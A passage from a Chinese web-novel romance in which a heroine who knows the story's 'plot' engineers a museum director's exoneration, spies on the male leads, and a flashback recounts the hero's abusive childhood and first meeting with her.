刚说完,他很快补充一句,“人家小姑娘给你打电话,你不接,我看不下去了,这才带着她来找你!她不知道你家在哪里。”
何书彦着急的说完,还看了一眼江迟鹿:“现在的年轻人都路痴,不识路!”
江迟鹿:“......”算了,她坑了他一回,让他坑回来。
苏轻在一旁解释,“是我把蒋奶奶的手机关机了。”
她说完,看了一眼江迟鹿。
这件事情也是江迟鹿让她做的,让她找到蒋奶奶,一定要拿走她的手机关机,然后再找个显眼的地方挂白绫。
蒋奶奶的信息被泄露了出去,手机上有不少人骚扰辱骂她。
一辈子老老实实做着自己热爱的事情,突然有一天降临这么多的恶意,蒋奶奶只看了一眼,胸口就闷着喘不过气来。
所以手机关机这件事情是有益于蒋奶奶的,她才照听江迟鹿的,后面的白绫她虽然不知道具体原因,但也听了。
“现在网上闲言碎语那么多,是该关机。”何书彦随手捞过一把椅子坐了下来。
蒋文芳看过去,“你坐什么?突然闯进来我家,还真把这里当自己家了?”
江迟鹿适时开口,“对啊,何老先生,您也看到蒋院长现在没事了,我们快回去吧,你刚做完手术,病情相当不稳定!刚才医生连环call我,您要是出事了我可担待不起。”
这话说完,蒋文芳果然皱着眉看过来了,“手术?什么手术?”
何书彦立即起身,又是摸自己胡子又是摸自己的手,“没什么,我们走了。”
他着急地就要出去。
蒋文芳却追了出来,“你不会真要死了吧?老天有眼,让你死在我前头。”
这话一出,何书彦气得吹胡子,“你放心,我死不了!就是一个小手术,我现在健康着呢,我肯定死你后头。”
他气得直接出去了,在看到院子玉兰树上挂着的白绫时,脚步却僵硬地停了下来。
方才进来时急,两人都没有注意到。
江迟鹿抬头,有些唏嘘,“看来网上的传闻对蒋院长还是造成了很大的困扰,如果不是苏轻来的及时.......唉,但是这苏轻也不可能时刻都陪在蒋院长身边,网上那些事情不解决了,万一哪天......”
“行了,别叨叨叨了,你一个年轻小姑娘比我老人家还唠叨。”他冷哼一声,“我去澄清行了吧!”
江迟鹿惊讶,“那太好了......”
何书彦往外走,没什么好气,“我就是受不了你唠叨。”
江迟鹿笑嘻嘻地拿出手机,打算联系媒体。
却发现自己的手机不停地在接收消息。
而且都不是重要的工作消息。
-江迟鹿,傅总真的是为了你打架吗?
-出息了啊小鹿,你居然让我们公司总裁为你打架!
-迟鹿你老实说,我以后是不是要叫你一声老板娘了。
江迟鹿一脸懵逼地往下滑消息。
很懵逼,甚至有些不熟悉的人也小心翼翼过来询问。
还有叶简心,又一次发来了道歉的消息,十分诚恳。
她赶紧打开了最近的新闻回播。
傅靳年在记者问出为什么会揍程光远,是不是跟蒋院长一伙的时,直接回复了一句:
“没有男人能忍住不揍觊觎自己女朋友的人。”
就是这句话,让人扒出来了那天陪傅靳年前去见程光远的同行异性只有江迟鹿。
她一边慌,一边联系媒体干自己的事,“何老,我们先回医院,我让媒体去医院,这样更有说服性,你就说你本来在山里不知道外界消息,爬山的时候不小心摔了,在医院看到蒋院长的事,才发现自己当初买的字画是被调换的,再顺势说出程光远。”
她说着,跟何书彦一起上了车。
而站在门口盯着江迟鹿身影消失的苏轻,眼神垂下,盯着手机上的消息,咬紧了牙齿。
居然还有这样的事.......
江迟鹿救蒋奶奶,恐怕也是为了得傅靳年青睐,她就知道她没那么好心。
亏她刚才还对她心存感激,她一直是自己的敌人。
“小轻,你怎么了?”蒋文芳看着她眉头蹙着的样子,开口道:“你也不用太担心我的事情,我相信上面会还我一个清白的。”
她虽然口上这样说着,心里却也迷茫。
如果真的会还她清白,为什么第一时间是先停她的职,让程光远代替她,而不是第一时间找人来查清楚呢。
她只能往上面是顾忌舆论上想了。
苏轻深吸一口气,“蒋奶奶......刚刚和何爷一起来的人你看见了吗?”
蒋文芳顿了一下,笑着:“当然看见了,那么漂亮一个姑娘,我就是看不见何书彦也不可能看不见她啊。”
苏轻敛下眼,“她很漂亮吗......男人都喜欢更漂亮的......”
“她是很漂亮,不过你这后面说的话就不对了。”蒋文芳看向她,“有时候那个漂亮,其实形容的不是长相。”
苏轻抬头没听到蒋文芳在说什么,她眼中划过一抹暗色。
抬头时露出一抹委屈,“蒋奶奶,你知道的,我从小就喜欢靳年,后面他失踪了,我哭了好久,上大学时再遇,我对他一见钟情,这大概就是缘分......之前我们两家关系很好,他对我也挺好的。”
“可是......自从江迟鹿出现.....他对我的态度就变了。”
第三十二章 同时接过两人的饭
蒋文芳蹙着眉,冷哼一声,“他如果真的是这么极易变心的人,不要也罢,你换个人喜欢。”
苏轻咬牙,“他不是容易变心的人,我担心的是,江迟鹿是不是在他面前说了什么坏话。”
“如果是这样,那他更不能要了,别人随口说两句不证求事实就冷落你,就算以后在一起了也不会有什么好下场。”
苏轻握住她的手,“蒋奶奶,你再帮帮我吧,我真的很喜欢他,你邀请他来家里吃饭,我跟他说清楚,好不好?”
蒋文芳毕竟是看着她长大的长辈,见不得她委屈撒娇,“好吧,只是现在这个情况,就算邀请了,也不知道他会不会来。”
“他既然在媒体面前明确不会取消合作,说明心里是相信您的。”苏轻敛下眉眼,她必须要抓住这次外出的机会,等回到启恒,她就要按规矩工作,不能随时都见到他了。
“好,我试试。”蒋文芳刚打开手机,就收到了小徒弟打来的电话,她脸色有些沉,没有第一时间接。
实在是最近的消息都不太好。
电话铃响了一会儿,她还是接通了,“喂......”
她害怕是网上那些事,小徒弟的声音却兴高采烈地传过来,“师父!何老出来替你澄清了,当初偷卖展品的是程光远!你快看最新的新闻啊。”
蒋文芳手指有些发抖,点进了最新的新闻。
看到熟悉的面庞,何书彦脸色不屑地提及程光远,说他手段恶心,他纯属是看不惯程光远的手段才出来拆穿。
被污蔑了这么久,每一次打开手机,网络上都是骂她的,甚至将她以前所做的那些事情扒出来一一罗列,说她装模作样,她拿出自己的工资救济贫困农村的小孩读书,也被说成是拿偷卖字画的钱给自己买名声。
大家都不愿意相信她,但是现在,真相大白了。
所有人都站出来为她说话,之前那些辱骂她的人像是突然一下彻底消失在了这个世界。
良久后,她才恢复过来。
她看向苏轻:“不如把你何爷爷叫过来一起吃饭?不管怎么样,他都帮了我。”
苏轻点头,这样也好,傅靳年要是知道这场饭就他们三个的话,估计还很难答应。
蒋文芳拿出手机,给何书彦发语音,“姓何的,怎么说你也是帮了我一个大忙,有空就过来吃个饭。”
对面也很快就回了,“我怕你下毒毒死我,你就是想让我死你前头是吧。”
“我管你来不来,你要是不来,那我少花点钱。”
“谁说我不来了,来啊,吃垮你家,自己工资没多少还去接济你那穷学生,最后被背刺呵呵,我当然要去看看你的笑话,我再多带两个人来,吃垮你!”
“......”蒋文芳直接挂了电话。
医院住院部,何书彦病房门口。
傅靳年和祁柏言手里都拎着一个饭盒。
江迟鹿有些惊讶,“你们怎么来了。”
两个人对视了一眼,几乎同时从门口挤进去。
傅靳年将手中的饭盒递给江迟鹿,“来看看何老。”
祁柏言也递了饭过去。
好在这根本难不倒江迟鹿,她两只手同时抬起,同时接过两人的饭放到桌上。
傅靳年的手在空气中顿了一下。
他看着江迟鹿先开的是他的饭盒,才走到旁边的椅子坐下。
何老对傅靳年没印象,一眼也没看。
倒是记得是祁柏言把自己背下山的,便开口对祁柏言说,“谢谢你了。”
傅靳年坐在旁边,抬眼看过去,突然就很不是滋味。
祁柏言还笑着回:“您谢谢江迟鹿就好,是她先跟我说的,我才去的。”
何老有些惊讶,看向江迟鹿,“小江,你怎么知道我手上有程光远卖的字画。”
一般能买得起这种字画的,都是家里不缺钱的,就算知道拿到手的不是正经卖的,也不会出来昭示天下。
所以是很难找到愿意出来澄清的人的。
江迟鹿笑了笑,“我有次不小心听到程光远打电话,我听到他提起的。”
何老没怀疑什么,顺嘴还把何光远骂了一顿。
傅靳年却突然开口:“你在什么时候听到何光远打电话的?”
第三十三章 该谢江迟鹿
她紧张地想吞咽口水,这个动作还未做完,轻咳了一声,刻意地保持平静,“之前在酒店,发现我跟你们不住一层楼的时候,我去洗手间,他刚好在洗手间外面接电话。”
傅靳年眼神微妙地落在她身上,似笑非笑。
江迟鹿偏过脸颊,同何书彦说哪道菜好吃。
晚上六点,江迟鹿和祁柏言跟着何书彦一起去了蒋院长家里。
她以为只是单纯的蒋院长邀请何书彦吃饭。
进门时却看到了正在院里坐着的傅靳年,而石桌对面是苏轻。
两人看起来真是般配啊。
她垂下眼,默不作声跟在何书彦身后。
何老两手空空就来了,江迟鹿和祁柏言却不能不讲礼数,两人手里都提着东西。
“放在那就好了,就是简单吃个饭,你们还提什么东西来啊。”蒋院长对其他人向来是温和的。
她笑着开口:“人都到了,那我们就开饭了,今天特意叫阿姨买了蟹,我做其他的一般,唯独这醉蟹啊做得最好,你们尝尝,新鲜着呢。”
她笑着将人请进去。
江迟鹿走在靠墙的位置,和傅靳年离得最远。
坐的自然也最远了,就是面对面,一抬头就能看见的那种。
她有时眼神不小心扫到他,便会多停留会儿。
不是因为其他,实在是这货那张脸太吸引人。
怎么盯都找不出一丝不喜欢,越看越觉得老天不公。
何老在旁边和蒋院长对酒,两人多年没见了,又活到这个年纪,对以前的事不管好坏都是怀念的,聊起来没完没了的。
当然,多是吵嘴。
江迟鹿吃的有些饱了,手撑着下巴,盯着两位老人。
她想要的生活很简单,年纪大了依旧能做自己喜欢的事,有自己的热爱,有自己的房子,闲暇之余和家人朋友们聚一聚,有一份体面。
想到里面自己的下场,她辛苦寒窗苦读,双学位研究生毕业,最后沦落到去扫大街,在商场擦玻璃,被曾经的同学嘲笑。
父母也被街坊邻居隐射白供了废物读大学。
“小江是什么时候入职的启恒啊?”蒋院长的声音突然传来。
江迟鹿并不知道他们在聊什么会突然聊到自己,开口道“:
“没多久呢,上个月月末。”
“那确实没多久,不过比小轻久一点,小轻还说跟你在同一层工作,到时候你们互相照应,也轻松点。”
她听着,突然咧嘴笑了一下,幅度很小,笑意不达眼底。
只有她对面的傅靳年看清了,她嘴唇下的那颗虎牙露出了一点,所以她是笑了。
她有一双很好看的杏仁眼,即便是轻微笑意,也会像弯月一样,但刚刚那个笑,眼皮却没动。
他在这一刻确定,江迟鹿不仅讨厌苏轻,还有什么不得已的原因不能暴露出来。
再结合这次蒋院长和何老的事情,他越来越看不懂江迟鹿了,有些事连他都没有想到。
江迟鹿却考虑到了方方面面。
“迟鹿,我就在你们隔壁的工位,以后多多关照啦。”苏轻笑着说。
江迟鹿笑着点头,“能关照的肯定关照。”
蒋文芳抬手压住了苏轻的手,眼中透着慈爱,“小轻,谢谢你,要不是你来陪着我,我......”
“蒋奶奶,你跟我客气什么呢。”苏轻并没有提及是江迟鹿让自己来的。
江迟鹿听着,也没开口戳破。
一派祥和中,何老突然冷哼了一声,“不应该谢谢我们小江吗。”
江迟鹿顿了一下,看向何书彦,“我也没做什么。”
“你没做什么?”何书彦火眼如炬,“你不会真觉得我是个傻老头吧,我当时没反应过来是因为我着急。”他冷哼一声,抬手指着院落里的玉兰树。
“是你故意叫人把白绫挂在树上的吧?我跑出医院,没有一个医生护士拦着,一出去,就有一辆出租车,刚好她电话也打不通,一次是巧合,两次三次四次呢?”
他叹了口气,“我也是没想到,我活了一把年纪还能叫你给算计去了,你做这些就是为了让我站出来帮忙澄清。”
蒋院长愣了几秒才反应过来,仔细回想,苏轻确实是突然过来的,然后收走了她的手机,又让家里阿姨去找了白绫挂在玉兰树上。
她问她为什么,她又说不出个所以然,只说反正要这样做。
原来是因为,这些是江迟鹿安排的。
“这....小江,原来我最该感谢的人是你啊。”蒋院长眼神复杂,看着江迟鹿。
呼吸吐出的同时心脏也跳得更快,她悄然抬起眼皮来,对上对面傅靳年审视的眼神,更心虚了。
果然,这顿饭就不该来的。
傅靳年本来就怀疑她了,现在估计更怀疑了。
“我这不是害怕真的出什么事吗,所以着急快点澄清这件事情,还有就是....也有我自己的私下,事发之后我就怀疑是程光远做的,因为听到他打电话那次他对蒋院长的态度很不尊重。”
她又提及酒店的事,“程光远之前又故意在酒店给我安排偏僻的房间.....不怀好意,这次不仅能帮到你,也是帮我自己。”
所以她才这么费尽心思地去帮一个不相关的陌生人。
这样的解释倒是很合理。
蒋院长是明事理的人,她给自己倒了一杯酒,朝着江迟鹿举起酒杯,“不管你是有私心无私心,你都帮了我一个大忙,我欠你一份人情,有需要帮忙的,你尽管提。”
江迟鹿忙不迭起身,让博物院院长敬酒,她感觉自己寿都折了几分,赶紧倒了满满一杯回敬。
仰着头,一骨碌喝光了。
傅靳年看着她的脖颈仰起来,透白玉莹的皮肤上淡青色的筋脉随着她吞咽的动作微凸。
某个夜晚,她也是这样吞咽的。
他没想过那次之后,他和江迟鹿再见面就连陌生人都比不上了。
手机叮了一声。
他低头一看。
是苏轻发来的消息。
-原来迟鹿做了这么多,你怎么也不跟我说一声,我都不知道该怎么感谢她了。
傅靳年只是看了一眼,握着手机盖在了桌面。
第三十四章 剧情是浪漫拥吻
他突然发现,自己在江迟鹿那里,居然和苏轻是一个档次的。
苏轻不知道的,他也不知道。
他刚刚观察了祁柏言的表情,何老说出那段话的时候,祁柏言一点惊讶的微表情都没有。
祁柏言是知道的。
他却不知道。
眸底一暗,完全接受不了。
那双狭长的桃花眼盯着含笑说话的人儿,微眯了眯,像猎人看准了猎物。
他手里是有枪的,可他是个傻子,他不用。
不知道是不敢还是不想,他有点害怕。
这种情绪在遇到江迟鹿前几乎没有出现过。
但在遇到江迟鹿后出现的次数开始越来越多。
从小就能应对好所有事情的他。
在看到她哭的时候会慌得脑子有一瞬间的苍白。
他会害怕她饮食不健康去医院了怎么办,所以去学做饭,做给她吃。
他害怕她考不好心理出问题了怎么办,所以拉着她学,教她学。
更害怕有一天,不能跟她在一起了怎么办,所以他努力地参加项目,赚钱,不想深造学历,想快点赚钱娶她。
可现实却给了他一个巴掌。
嫌贫爱富四个字在脑子里出现的时候,他想不是江迟鹿怎么能这么虚荣,他想的是,他怎么就不是那个富呢。
从他回京市,他给过很多次机会给江迟鹿。
第一次宴会上把她单独带走,给她上药,她难道还不明白他是什么意思吗。
第二次在酒店,他装醉亲她,就差脱光了勾引她了,她不为所动还想将他往外推。
第三次,他打电话和爷爷说她是他女朋友,她却用炮友两个字把爷爷气的挂电话。
她又不笨,她怎么可能不懂,心里便只剩下一个答案了,她懂了,装作不懂。
她像是生怕和他沾上关系。
“今晚你们住下吧?我都让人把客房收拾出来了。”蒋院长真心地留他们,“傅总,小江你们应该不常来这边,明天我带你们好好玩玩?我们北城能玩的地方还是挺多的,但要是没个本地人带你们,容易踩坑。”
何老轻咳了一声,“那我这个本地人就不留下了。”
蒋院长扫了一眼过去,“我也没赶你走。”
苏轻紧张地看着傅靳年,轻声开口:“要不住一晚吧?”
傅靳年正要拒绝。
“好啊。”江迟鹿笑着开口:“那麻烦蒋院长了。”
她不知道自己救下蒋院长会不会改变后面的剧情。
但是在原本的剧情里,蒋院长的事情真相大白后,男主对女主解开心结,两人在蒋院长的玉兰树下浪漫拥吻,正式确定关系。
等两人确定关系了,傅靳年就不会总是来试探她了吧。
男人没说什么,轻点了下头。
祁柏言看了江迟鹿一眼,有疑问却没现在问出口。
蒋院长让人带着他们去客房。
江迟鹿和祁柏言的房间相邻。
而傅靳年和苏轻的房间要靠近里面一些。
她发现祁柏言房间的窗户刚好可以看到院子里的玉兰树。
于是走到祁柏言的房间,“我跟你换个房间。”
祁柏言身形稳重,盯着她,走至门口,“你先回答我一个问题,你为什么答应住下来?”
江迟鹿是有些认床的,以前出去都不愿意住亲戚家里,更别说相对更陌生的蒋院长家里了。
“我.....还没住过这种历史久远的四合院,有点好奇。”
祁柏延:“......换吧,我的房间窗景很好看,你可以多看看。”
“上道!”江迟鹿拍了拍他的肩膀,进了房间,打算等会儿就在这里蹲守,看看两人是不是真的会按照剧情在玉兰树下浪漫拥吻。
第三十五章 被甩了
她坐在靠窗的圈椅上,手里捧着一杯热茶,看着院子里。
院子里有夜灯,映得玉兰树昏黄黄的。
大概过了十几分钟,她看到傅靳年的身影走进院子里。
她瞳孔微微瞪大一些,真的来了。
唇瓣因为惊讶微微张开,她紧盯着那道身影。
高大修长的身影在夜色里更添了一丝寂寥。
江迟鹿特意把窗户关到只剩下一条缝,自己能看外面,外面却看不清里面。
她在等苏轻的身影。
结果先等到的是祁柏言的身影。
祁柏言走到了傅靳年的身边。
江迟鹿吃惊,原本该是女主在的地方怎么变成祁柏言了。
院子里,坐在树下的两人都不约而同地注意到了窗户映出的一颗人头。
祁柏言忍不住笑,“不如把江迟鹿一起叫出来聊聊。”
傅靳年眼神抬了抬,漫不经心扫过,装作没看出来,“今天麻烦你了。”
祁柏言说:“没什么,不过我还真有些好奇,傅总这大晚上的不睡觉跑来这里和我聊天做什么。”
傅靳年没有解释,而是开口问:“你和小江是怎么熟悉的?”
祁柏言眼角眯了眯,他看着眼前的人,“我和小江也不算熟吧。”
他低着头,散落的碎发遮住了眼睛,嘴角扯了一下,“不算熟,她找何老让你帮忙,你们又一起去的医院,能把这样的事情交给你,还不能表明你们很熟吗?”
他深沉的目光瞭过去,“只是随便跟你聊聊,不用这么防御。”
“傅总也很奇怪啊,上次我问你喜欢江迟鹿吗,你一口否决了,现在又问我关于她的问题。”
祁柏言开玩笑似的,“正常的男上司应该不会过于关心一个女下属的私人生活。”
傅靳年淡然开口:“我打算调她到我的部门,好好了解一下不应该?我不喜欢身边的人私生活混乱。”
祁柏言更惊讶了,“我没记错的话,她现在还没过实习期,调去你那,不是惹人非议吗。”
“这次蒋院长的事情她记大功劳,可以直接转正。”
这倒是真的,没有江迟鹿找出何老澄清,这次的合作必定给启恒带来更大的负面影响。
祁柏言眼神沉沉,落在石桌的纹路上,他开口:“她挺好相处的,不过我和她熟,其实还和她男朋友有关,她最近在跟她男朋友吵架,于是问我送什么礼物好,因为她男朋友从事跟我差不多的工作。”
祁柏言一张嘴开始胡编乱造,“我就给她推荐了一些,一来二去的就熟悉了,再加上我们部门本来就需要合作沟通,她作为新人,经常被叫过来跑腿,就更熟了。”
傅靳年蹙眉,抓住了两个重点,开口问,“她为什么和她男朋友吵架?”
祁柏言嘴角淡笑,“这也在傅总的关心范围内?”
“恋爱情绪不稳定容易影响工作。”他说。
“男女之间还能因为什么吵架?就情侣那些事呗,傅总您不是也谈过恋爱吗。”
夜色里那双眸安静而邃暗,吵架?谈恋爱期间他和她似乎没有真正意义上的吵架。
她的气总是来的快去得也快,很好哄。
至于他,他生气了江迟鹿往往都察觉不到,还没等到她来哄,气自己就消了。
“男女吵架也能是不同原因。”他表情散漫,语气好像不耐烦了,“难道她没告诉你为什么吵架。”
祁柏言盯住他不放,心底是怀疑他和江迟鹿的关系的。
他想趁着这次试探,嗓音醇厚,带着点笑,“是因为她前男友。”
刚才还沉稳的人像是呼吸都顿住,眼睫颤了一下。
走神了一样。
祁柏言笑意深了些,“看来傅总也和女朋友因为前男友吵过架?”
傅靳年仍沉浸在自己的思考里,她因为他吵架,是为什么。
难道真把他的话听进去了,所以和那个男的吵架了。
他抬眼看向祁柏言,声音沉稳,带着几分较真,“我跟我女朋友是彼此的初恋。”
祁柏言扯了下嘴角,“是么。”
傅靳年凝神,“既然都是前男友了,还因为前男友吵什么架,难道她前男友又回来找她了?”
晚上的风越来越寒,吹打着玉兰树飘出淡淡的香。
祁柏言随口说,“可能是吧,她说是她惹男朋友生气了,但是没具体说什么什么事,我也只是简单了解一些,然后给她提建议怎么送礼物哄她男朋友开心而已。”
傅靳年心里发闷,还哄他开心,有什么好哄的。
他看着祁柏言,开口问:“你和江迟鹿私下联系,你女朋友不生气。”
祁柏言从口袋拿出烟盒跟打火机,点燃了一根,垂着眼,盯着黑暗里猩红的烟头,声音有些沙哑,“我被甩了。”
傅靳年听着,眼梢一挑,起淡淡的兴致,“怎么被甩了?”
“不知道。”
他低头抽了一口烟,吐着烟圈,眸底暗淡,此刻倒是真情流露。
回想和江迟鹿谈恋爱的那段时间,两人的相处模式虽然也没发生太大的改变,但是只要想起来那段时间她是自己的女朋友,便会陷入甜蜜的漩涡。
那是一个陷阱,明明知道不能跳,但是诱饵实在太诱人了,就跟飞蛾扑火一样。
耳边传来他淡然的嗓音,“借根烟。”
烟盒被他指尖拐了个方向,从里面抽出了一根烟。
祁柏言随手把打火机丢了过去,“请你抽了,毕竟你现在可是我上司。”
傅靳年认真地问:“想过加入启恒吗。”
祁柏言盯着指尖的烟,一秒没有犹豫,便摇头,“不了,我还是不喜欢被约束的感觉。”
他的心里松了一口气,如果真的对江迟鹿有意思的话,不会拒绝得这么果断。
没了对情敌的警惕后,他反倒共情起祁柏言被甩了的感受,“你没想过是自己哪里做错了才被甩的吗。”
“我问过我是不是哪里做的不够好,她的回答是没有。”
江迟鹿偷窥着,觉得情况越来越不对劲,两人怎么聊这么久,而且苏轻到现在还没有来。
原定的剧情难道崩了吗?
第三十六章 两位前男友谈心
这对江迟鹿来说是件好事。
这也就说明剧情是能被改变的,她可以通过自己的努力改变自己的结局,就算不能过上人上人的好日子,也绝对要给自己赚一份体面。
至少她不能用着自己双学位的研究生学历去商场擦玻璃然后被同僚嘲笑还被泼一身水反被陷害,最后连商场的工作都没保住。
一想到回到家父母疼惜的眼神,她心里疚疼。
拿过手机给祁柏言发了条消息过去。
-你和傅靳年聊什么啊?
谁知道外面的人没丝毫动作,看来是没带手机在身上。
傅靳年薄唇叼着烟,余光往窗户一扫,淡懒的扯着唇角笑,“还是再考虑一下要不要把她调到我部门吧,这脑子时灵时不灵的。”
祁柏言眯了下眼,“傅总这么优秀,女朋友怎么舍得分手。”
他知道傅靳年在套自己的话,他也想套傅靳年的话。
两人对视了一眼,思忖过后,他慢慢吐出烟雾,藏在烟雾后的五官很模糊,但又因为轮廓分明,模糊中藏不住的俊帅。
“你应该知道,我回到傅家没多久,跟她谈恋爱的时候,我还只是个普通大学生。”
祁柏言提取出了信息,他跟江迟鹿是一个大学的。
当初他是怀疑过江迟鹿在大学谈恋爱了,他也问过江迟鹿,但是被她否认了。
江迟鹿对他是没有什么秘密的,更何况江迟鹿那时候还不知道自己对她的心思,没必要瞒着他。
所以他当真以为她没有谈恋爱。
“傅总不是在国外本硕博连读的吗,女朋友是国外的?”
“我先在国内读的本科。”
祁柏言点了点头,打算回去查一查,傅靳年这么优秀的人,在学校应该也是出名的。
“喝酒吗?”祁柏言问。
傅靳年想了想,“喝吧。”
江迟鹿正偷瞄着,看到外面两个人一起出去了。
她满脸的问号,不是应该男女主一起吗,他们这是一起出去干嘛?
可惜祁柏言又没带手机。
江迟鹿推开门,想偷偷跟上去,谁知道这时候,苏轻从旁边的拱门出来了,手上还端着一碗西红柿鸡蛋面。
江迟鹿有些惊讶,“你.....这是干什么。”
苏轻来不及说话,将滚烫的面放在石桌上,捏了下自己的耳朵。
“傅靳年呢?”她朝周围看了一圈。
没有看到人。
他不是说好了等她煮好面在这里等她吗。
她从小到大就没进过厨房,煮了好几次才煮出一碗能吃的,都是为了他,结果却不见她人?
江迟鹿看她连端热碗的动作都做不到位,一看就知道是位不下厨房的大小姐。
迟疑的问:“这面是你做的啊?”
剧情里好像也没有煮面这一说吧。
即便两人还没解开心结,但是傅靳年也不至于叫她去煮面吧。
“关你什么事。你在这里做什么?你看到他了?”这里没有人,她语气是完全不掩盖的高傲,是那种骨子里面对江迟鹿这种没什么身份的人的傲气。
江迟鹿突然就想撕扯下她这高高在上毫无礼貌的优越感。
她要是告诉这位大小姐,自己知道她天天匿名去访问她的账号,就为了从她的生活日常里扣一点傅靳年的影子,会露出什么表情呢。
她忍了忍,现在还不至于和她撕破脸到那种程度,两人还在一层楼上班呢,她又是个被公司公认的老板娘,惹了她自己也没好下场。
“我没看到,我就是出来呼吸一下新鲜空气,屋子里有些闷。”江迟鹿笑了笑,“我先回去了。”
苏轻一脸不甘心地看着自己辛辛苦苦做出来的面,不愿意相信自己是被傅靳年耍了。
她抱着肩膀坐在石桌。
打算就这么一直等下去。
他总有一天能被自己打动。
而另一边,傅靳年和祁柏言进了一家清吧。
清吧里,穿着燕尾服的男人弹着悠然缓慢的钢琴曲。
没多少人,两人随便找了个位置坐下,点了酒。
先是聊了合作的事情,这次博物院的合作完了之后,傅靳年还想邀请他继续参与下一个项目。
祁柏言想了想,说还要考虑。
聊着聊着,喝了几杯后,彼此的心事就藏不住了。
两个男人的心事无非都是那个前女友。
“我喜欢她很多年了,从意识到男女朋友这几个字,我就想她当我女朋友。”祁柏言闷头又灌了满满一杯。
傅靳年拎着手里的酒杯,看着晃荡的液体,头脑发晕,咽下口中的苦涩,“那我比你要好点,还是她追的我呢。”
砰的一声,祁柏言手里的酒杯重重压在桌上,他双眼发沉,盯着傅靳年。
他抓着他的领子凑近,“被她追,那是什么感觉。”
他知道傅靳年绝对不是故意在他面前炫耀,因为傅靳年根本不知道他的前女友就是江迟鹿。
可是他心里还是酸了,酸了也就算了,还想知道那是什么感觉。
傅靳年也不计较他喝醉了对自己动手动脚,陷入了江迟鹿追他的回忆。
“刚开始没什么感觉,觉得她和其他人也没什么不一样的,除了更漂亮一点而已。”
他是不看脸,但他也不是瞎子,还是看得出来江迟鹿在美女学霸众多的京大都能独树一帜的。
但是真正吸引他,让他觉得她和别人是不一样的,是江迟鹿身上少见的真诚,还有她自己恐怕都从来没意识到的一个闪光点。
傅靳年从小抽屉里的情书就没断过,他小时候总是因为那些情书挨打。
养父冯敬国说他在学校不好好学习,小小年纪学别人早恋,哪怕他解释那些和他根本没有关系,即便他不和人说话,也有人上赶着来表白。
但是冯敬国依旧打他。
他从一开始的解释,到后面当着众人的面将那些情书、礼物、零食都丢进垃圾桶,很厌恶地拒绝每一个想跟他拉近关系的人。
再到后面,他发现即便找不出任何理由来,他已经成了左邻右舍口中的完美小孩,冯敬国还是打他。
他才明白,原来冯敬国并不是跟其他家长一样,担心小孩早恋影响学习,而是,他就是单纯地看他不顺眼想打他。
第三十七章 初见
他当时还不知道他不是自己亲生父亲。
每天想的是,自己到底怎么才能不挨打。
学习上他每次都是全校第一。
还是挨打。
不过他学会跑了,不会傻站着挨揍。
高一有场家长会,冯敬国突然同意要去给他开家长会。
他很惊讶,冯敬国以前从来没去过,家长会永远只有他的身边没有家长。
久而久之学校里传他是孤儿,他觉得无所谓,他经常想他要真是个孤儿就好了。
冯敬国说要参加家长会时,他在想他是不是终于想起来自己是他儿子了,不过这想法只有维持了半秒。
身上的疼都替他记着呢。
他想冯敬国大概是无聊了,去他家长会玩玩。
邻居奶奶看到他却拉住他,说听到冯敬国跟牌友说等他十六岁生日那天,要给他送礼物。
他才知道自己的生日在哪天,因为没过过生日,也从来没人告诉过他生日是哪天。
心里有了一丝迟疑,难道他真的变好了?
老师在家长会上单独表扬了他,班级上其他同学的家长也都对着冯敬国夸,问他是怎么教育孩子的。
他低着头,坐在旁边等着他的反应,在一阵耳鸣中清晰地听到他粗犷的声音说他行迹恶劣,不知道因为偷东西、打架、泡妞挨过多少打。
老师从来没遇到过在家长会上这么说自己孩子的。
他清晰地记得那位对他向来很好的老师脸上迟疑了十几秒,最后看向他,无声地质问。
谁都不会觉得冯敬国是在故意抹黑自己儿子,那些寒锥似的目光齐刷刷射向他。
那天刚好是他十六岁生日,他没想过能收到冯敬国的礼物,也没想过他第一次送礼是送这样的礼。
他不记得那天怀着什么样的心情逃跑的。
只记得以前一次就能翻过去的墙,那天翻了好几次,摔在地上,脸上火辣辣的疼。
外面太阳很烈,恨不得能晒掉人一层皮。
他也不知道走了多久,额前的头发被汗浸湿。
脑仁又晕又胀,视线也很模糊。
面前横着一条马路,来来往往的车滴滴声不停,他视线越来越模糊,耳边充斥着嘈杂的喇叭声,议论声,小孩的哭声,大人的骂声。
他的世界已经乱成废墟。
直到耳边一道尖锐的嘀鸣,拉长似一把剑要刺穿他耳膜。
他手腕被一只温凉的手握住,身体被拉扯着向后。
“你疯了啊!傻*操你*@#!”男人粗劣的骂声喋喋不休。
手腕上那处力道握得很紧,拉着他往另一条路跑,在那股压力下,他感受到脉搏的跳动。
原来他还活着。
跑到一处阴凉地,槐树遮了半边烈阳,稀疏的光影摇摇晃晃落在草地。
耳边一道少女的清脆声音喘着粗气:
“你傻啊,你要自杀你选个温和点的方式不好吗?那被车一撞,肠子都给你撞飞,死得这么不体面,是想让那些恨你的人释怀吗?”
他视线慢慢清晰,面前的女孩穿着淡黄色防晒服,白色弧形防晒帽挡住了大半的脸,露出巧致的下巴和淡粉色还在说话的唇。
“而且撞你的那个人好凶哦,刚刚那眼神看着像要拿刀砍人了,你要是死在他车底下,你家里人都拿不到赔偿的!”
她说着,取下了头上的帽子,光洁的额头有一层细汗,眉毛偏淡色,弯弯的,睫毛颤起来像脆弱的蝴蝶翅膀。
细致的眼褶渐渐加深,她抬起眼,瞳仁里映出他狼狈的样子。
从墙上摔下来,左边大半张脸是肿的,还渗出了血,鼻骨不知道被什么锋利的草划伤,唇干裂开,没有一丝血色。
她像是才看清他的样子,有些吃惊,“你这是遭受校园霸凌?”
第三十八章 她出现的短暂。
那双灵动的眼睛盯着他校服上的校徽,惊讶怀疑,“你是京一中的?”
她眼中亮起惊喜,映着炽阳,“京一中我的梦校啊,不出意外我明年就能考进一中读书了......”
她声音越来越弱,看着他脸上的伤口,眉心皱起,“你的脸......还是先消肿吧。你在这等等我。”
他看着她转身的背影,垂下眼,神色冷淡,转身离开。
手腕却从后面被拉住,那道声音开口:“你跟我一起去吧。我对这里不熟呢。”
他回过头,面前的视线被短暂挡住,有淡淡的香味扑进鼻子,垂眼看到踮起的小白鞋,她拿着自己的帽子给他戴上,往鼻梁前压了压,轻声说,“这样就看不到了。”
拉着他去了药店,从买药,到给钱,都没有松开他的手。
坐在药店门口的铁长椅上,她把一个创口贴撕开递给他,“你先贴上吧,不然很容易感染的。”
他睨下眼,盯着那个创口贴没动。
被打到喉咙尝到血腥,意识模糊也没有去过医院,那一点伤更不算什么了。
“你手也受伤了啊?”
他缩了缩手指,手背上指骨上的擦伤看起来很严重。
